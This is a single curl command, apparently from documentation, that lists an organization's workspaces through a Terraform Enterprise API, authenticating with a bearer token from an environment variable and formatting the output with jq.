      curl -H "Authorization: Bearer $TFE_TOKEN" \
       https://<TFE Instance>/api/v2/organizations/<Organization ID>/workspaces | jq